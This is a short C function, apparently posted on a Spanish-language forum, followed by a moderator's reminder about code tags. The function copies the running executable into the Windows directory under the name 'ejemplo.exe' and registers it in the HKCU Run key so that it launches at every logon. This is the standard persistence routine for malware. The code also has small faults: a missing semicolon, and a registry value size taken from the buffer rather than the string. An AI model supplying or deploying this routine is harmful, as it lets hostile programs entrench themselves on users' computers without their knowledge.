void copiarregistro()
{
char rutaactual[MAX_PATH]
char nuevaruta[MAX_PATH]
HMODULE GetModH = GetModuleHandle(0);
GetModuleFileNameA(GetModH, rutaactual, sizeof(rutaactual));
GetWindowsDirectoryA(nuevaruta, sizeof(nuevaruta));
strcat(nuevaruta, "\\ejemplo.exe");
CopyFileA(rutaactual, nuevaruta, 0);
HKEY hKey;
RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
RegSetValueExA(hKey, "ejemplo.exe", 0, REG_SZ, (const unsigned char*)nuevaruta, sizeof(nuevaruta));
RegCloseKey(hKey);
}
· Los códigos deben ir en etiquetas GeSHi
>aquí las reglas del foro
-Engel Lex